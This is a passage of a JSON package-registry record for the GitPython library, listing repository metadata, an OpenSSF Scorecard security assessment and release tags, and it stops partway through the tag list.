{"id":2748871,"name":"gitpython","ecosystem":"pypi","description":"GitPython is a Python library used to interact with Git repositories","homepage":null,"licenses":"BSD-3-Clause","normalized_licenses":["BSD-3-Clause"],"license_expression":"BSD-3-Clause","repository_url":"https://github.com/gitpython-developers/GitPython","keywords_array":["git"],"namespace":null,"versions_count":117,"first_release_published_at":"2010-03-21T02:56:30.000000Z","latest_release_published_at":"2026-10-14T12:20:18.000000Z","latest_release_number":"3.2.1","latest_published_release_number":"3.2.1","last_synced_at":"2026-11-27T08:21:40.724355Z","created_at":"2022-04-10T11:09:03.281678Z","updated_at":"2026-11-27T08:21:41.654971Z","registry_url":"https://pypi.org/project/gitpython/","install_command":"pip install gitpython --index-url https://pypi.org/simple","documentation_url":"https://gitpython.readthedocs.io/en/stable/","metadata":{"funding":null,"documentation":"https://gitpython.readthedocs.io/en/stable/","classifiers":["Development Status :: 5 - Production/Stable","Environment :: Console","Intended Audience :: Developers","Operating System :: MacOS :: MacOS X","Operating System :: Microsoft :: Windows","Operating System :: OS Independent","Operating System :: POSIX","Programming Language :: Python","Programming Language :: Python :: 3","Programming Language :: Python :: 3.10","Programming Language :: Python :: 3.11","Programming Language :: Python :: 3.12","Programming Language :: Python :: 3.13","Programming Language :: Python :: 3.14","Programming Language :: Python :: 3.15","Programming Language :: Python :: 3.8","Programming Language :: Python :: 3.9","Typing :: Typed"],"normalized_name":"gitpython","project_status":null},"repo_metadata":{"id":1211626,"uuid":"1126087","full_name":"gitpython-developers/GitPython","owner":"gitpython-developers","description":"GitPython is a python library used to interact with Git repositories.","archived":false,"fork":false,"pushed_at":"2026-11-20T16:22:39.000Z","size":14924,"stargazers_count":5194,"open_issues_count":1,"forks_count":1017,"subscribers_count":99,"default_branch":"main","last_synced_at":"2026-11-22T01:29:34.882Z","etag":null,"topics":["git-plumbing","git-porcelain","python-library"],"latest_commit_sha":null,"homepage":"http://gitpython.readthedocs.org","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"bsd-3-clause","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/gitpython-developers.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGES","contributing":"CONTRIBUTING.md","funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","accessibility":null,"support":null,"governance":null,"roadmap":null,"authors":"AUTHORS","dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":"AGENTS.md","claude":null,"gemini":null,"cursor":null,"copilot":null,"dco":null,"cla":null,"disclosure":null},"funding":{"github":"byron"}},"created_at":"2010-11-30T17:34:03.000Z","updated_at":"2026-11-21T04:46:08.000Z","dependencies_parsed_at":"2026-10-02T05:32:05.088Z","dependency_job_id":"ba50a094-64cb-44ae-8eea-86fbeb7c7737","html_url":"https://github.com/gitpython-developers/GitPython","commit_stats":{"total_commits":3608,"total_committers":322,"mean_commits":11.20496894409938,"dds":0.6859756097560976,"last_synced_commit":"340044b8dc1a55a4a259b8a065f30702eba7a7b3"},"previous_names":[],"tags_count":122,"template":false,"template_full_name":null,"purl":"pkg:github/gitpython-developers/GitPython","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/gitpython-developers","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/sbom","scorecard":{"id":428392,"data":{"date":"2025-08-11","repo":{"name":"github.com/gitpython-developers/GitPython","commit":"546855e3c8153ea65710f4dc6b8cbad998d30bf5"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":8.3,"checks":[{"name":"Code-Review","score":5,"reason":"Found 4/8 approved changesets -- score normalized to 5","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Maintained","score":10,"reason":"30 commit(s) and 12 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Token-Permissions","score":9,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: topLevel 'contents' permission set to 'read': .github/workflows/alpine-test.yml:6","Warn: no topLevel permission defined: .github/workflows/codeql.yml:1","Info: topLevel 'contents' permission set to 'read': .github/workflows/cygwin-test.yml:6","Info: topLevel 'contents' permission set to 'read': .github/workflows/lint.yml:6","Info: topLevel 'contents' permission set to 'read': .github/workflows/pythonpackage.yml:9","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: OSSFuzz integration found","Info: PythonAtherisFuzzer integration found: fuzzing/fuzz-targets/fuzz_blob.py:1","Info: PythonAtherisFuzzer integration found: fuzzing/fuzz-targets/fuzz_config.py:20","Info: PythonAtherisFuzzer integration found: fuzzing/fuzz-targets/fuzz_diff.py:7","Info: PythonAtherisFuzzer integration found: fuzzing/fuzz-targets/fuzz_repo.py:1","Info: PythonAtherisFuzzer integration found: fuzzing/fuzz-targets/fuzz_submodule.py:1","Info: PythonAtherisFuzzer integration found: fuzzing/fuzz-targets/utils.py:1"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: BSD 3-Clause \"New\" or \"Revised\" License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): test/fixtures/polyglot:0","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/alpine-test.yml:29: update your workflow using https://app.stepsecurity.io/secureworkflow/gitpython-developers/GitPython/alpine-test.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql.yml:50: update your workflow using https://app.stepsecurity.io/secureworkflow/gitpython-developers/GitPython/codeql.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql.yml:60: update your workflow using https://app.stepsecurity.io/secureworkflow/gitpython-developers/GitPython/codeql.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql.yml:88: update your workflow using https://app.stepsecurity.io/secureworkflow/gitpython-developers/GitPython/codeql.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cygwin-test.yml:37: update your workflow using https://app.stepsecurity.io/secureworkflow/gitpython-developers/GitPython/cygwin-test.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/cygwin-test.yml:42: update your workflow using https://app.stepsecurity.io/secureworkflow/gitpython-developers/GitPython/cygwin-test.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/lint.yml:13: update your workflow using https://app.stepsecurity.io/secureworkflow/gitpython-developers/GitPython/lint.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/lint.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/gitpython-developers/GitPython/lint.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/lint.yml:19: update your workflow using https://app.stepsecurity.io/secureworkflow/gitpython-developers/GitPython/lint.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pythonpackage.yml:42: update your workflow using https://app.stepsecurity.io/secureworkflow/gitpython-developers/GitPython/pythonpackage.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pythonpackage.yml:47: update your workflow using https://app.stepsecurity.io/secureworkflow/gitpython-developers/GitPython/pythonpackage.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pythonpackage.yml:54: update your workflow using https://app.stepsecurity.io/secureworkflow/gitpython-developers/GitPython/pythonpackage.yml/main?enable=pin","Warn: containerImage not pinned by hash: fuzzing/local-dev-helpers/Dockerfile:4: pin your Docker image by updating python:3.8-bookworm to python:3.8-bookworm@sha256:d411270700143fa2683cc8264d9fa5d3279fd3b6afff62ae81ea2f9d070e390c","Warn: pipCommand not pinned by hash: fuzzing/local-dev-helpers/Dockerfile:13-20","Warn: pipCommand not pinned by hash: fuzzing/local-dev-helpers/Dockerfile:13-20","Warn: pipCommand not pinned by hash: fuzzing/local-dev-helpers/Dockerfile:13-20","Warn: pipCommand not pinned by hash: build-release.sh:23","Warn: pipCommand not pinned by hash: fuzzing/oss-fuzz-scripts/build.sh:8","Warn: pipCommand not pinned by hash: fuzzing/oss-fuzz-scripts/container-environment-bootstrap.sh:106","Warn: pipCommand not pinned by hash: fuzzing/oss-fuzz-scripts/container-environment-bootstrap.sh:108","Info:   0 out of   9 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   3 third-party GitHubAction dependencies pinned","Info:   0 out of   1 containerImage dependencies pinned","Info:   0 out of   7 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"SAST","score":10,"reason":"SAST tool is run on all commits","details":["Info: SAST configuration detected: CodeQL","Info: all commits (30) are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-19T02:46:08.463Z","repository_id":1211626,"created_at":"2025-08-19T02:46:08.464Z","updated_at":"2025-08-19T02:46:08.464Z"},"funding_links":["https://github.com/sponsors/byron"],"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":355588341,"owners_count":38682434,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-11-03T11:36:44.738Z","status":"online","status_checked_at":"2026-11-21T02:00:06.778Z","response_time":133,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"gitpython-developers","name":"gitpython-developers","uuid":"503709","kind":"organization","description":"","email":null,"website":null,"location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/503709?v=4","repositories_count":7,"last_synced_at":"2026-11-22T01:29:47.453Z","metadata":{"has_sponsors_listing":false,"funding":null},"html_url":"https://github.com/gitpython-developers","funding_links":[],"total_stars":5509,"followers":43,"following":0,"created_at":"2022-11-02T16:23:03.326Z","updated_at":"2026-11-22T01:29:47.470Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/gitpython-developers","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/gitpython-developers/repositories"},"tags":[{"name":"3.2.1","sha":"c179357b38a8962f1c8e33153ac58b5ac0e6e96a","kind":"tag","published_at":"2026-10-14T12:19:33.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.2.1","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@3.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.2.1/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/releases/3.2.1"},{"name":"3.2.0","sha":"6a7180a9dfcb276755a8af99dd78155f775a6b14","kind":"tag","published_at":"2026-09-30T09:09:41.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.2.0","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@3.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.2.0/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/releases/3.2.0"},{"name":"3.1.62","sha":"db47516dac750c5968b8f6d388b18712c355df50","kind":"tag","published_at":"2026-09-07T02:55:14.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.1.62","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.62","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@3.1.62","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.62","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.62/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/releases/3.1.62"},{"name":"3.1.61","sha":"5346d1b587a790bac4dc4f100a28fae9db0fd7c8","kind":"tag","published_at":"2026-08-28T11:00:46.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.1.61","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.61","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@3.1.61","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.61","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.61/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/releases/3.1.61"},{"name":"3.1.60","sha":"56636c3614aff1555fe716d3804ca59e653934ea","kind":"tag","published_at":"2026-08-25T18:31:54.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.1.60","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.60","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@3.1.60","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.60","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.60/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/releases/3.1.60"},{"name":"3.1.59","sha":"66340d77aab9a7468f4aed3681d4ef1e3c0ec931","kind":"tag","published_at":"2026-08-10T12:02:51.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.1.59","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.59","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@3.1.59","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.59","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.59/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/releases/3.1.59"},{"name":"3.1.58","sha":"30be45d786e95023e23c616fec5cbabca861b44c","kind":"tag","published_at":"2026-08-04T15:05:10.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.1.58","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.58","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@3.1.58","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.58","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.58/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/releases/3.1.58"},{"name":"3.1.57","sha":"ccbd573ac4ab52ccdcf395c400e600d5809bcc88","kind":"tag","published_at":"2026-07-26T07:32:12.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.1.57","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.57","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@3.1.57","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.57","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.57/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/releases/3.1.57"},{"name":"3.1.56","sha":"e3221f1252346259513e14afeed32f0a203512a7","kind":"tag","published_at":"2026-07-25T07:41:19.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.1.56","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.56","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@3.1.56","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.56","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.56/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/releases/3.1.56"},{"name":"3.1.55","sha":"681c82c9c296f934635c81fa8294d4b6b6791b7e","kind":"tag","published_at":"2026-07-23T02:52:18.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.1.55","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.55","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@3.1.55","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.55","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.55/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/releases/3.1.55"},{"name":"3.1.54","sha":"e59d9bab02b095a97e179f47019afee95f4e3c18","kind":"tag","published_at":"2026-07-22T04:07:28.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.1.54","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.54","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@3.1.54","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.54","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.54/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/releases/3.1.54"},{"name":"3.1.53","sha":"faf3c09038b03bc2bdd8545ef34bbf6d7f1cd11f","kind":"tag","published_at":"2026-07-20T13:41:19.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.1.53","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.53","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@3.1.53","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.53","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.53/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/releases/3.1.53"},{"name":"3.1.52","sha":"f8b6df5f10033508b5f5dd26f3ab4a87b215c3ca","kind":"tag","published_at":"2026-07-16T03:15:03.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.1.52","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.52","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@3.1.52","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.52","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.52/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/releases/3.1.52"},{"name":"3.1.51","sha":"7b0764d309334b0f27f503d7fa1a395cbd165de0","kind":"tag","published_at":"2026-07-12T13:38:56.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.1.51","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.51","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@3.1.51","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.51","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.51/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/releases/3.1.51"},{"name":"3.1.50","sha":"5a294a6fc7ed5dc0946d4b576257bf926178f269","kind":"tag","published_at":"2026-05-06T04:00:41.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.1.50","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.50","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@3.1.50","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.50","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.50/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/releases/3.1.50"},{"name":"3.1.49","sha":"aee2fd5c13770954469e650f1df8f92f0183bc70","kind":"tag","published_at":"2026-04-29T00:30:37.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.1.49","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.49","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@3.1.49","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.49","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.49/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/releases/3.1.49"},{"name":"3.1.48","sha":"5a15361e0e1223f5c2e2c05688e6d094796b954d","kind":"tag","published_at":"2026-04-28T05:34:39.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.1.48","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.48","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@3.1.48","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.48","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.48/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/releases/3.1.48"},{"name":"3.1.47","sha":"4199cb89755f705801a4cb241723325b46201f51","kind":"tag","published_at":"2026-04-22T02:35:27.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.1.47","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.47","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@3.1.47","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.47","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.47/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/releases/3.1.47"},{"name":"3.1.46","sha":"9e24eb6b72c1851e46e09133b83b48f2059037d7","kind":"tag","published_at":"2026-01-01T15:33:13.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.1.46","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.46","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@3.1.46","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.46","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.46/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/releases/3.1.46"},{"name":"3.1.45","sha":"6ba2c0a2f9ee7f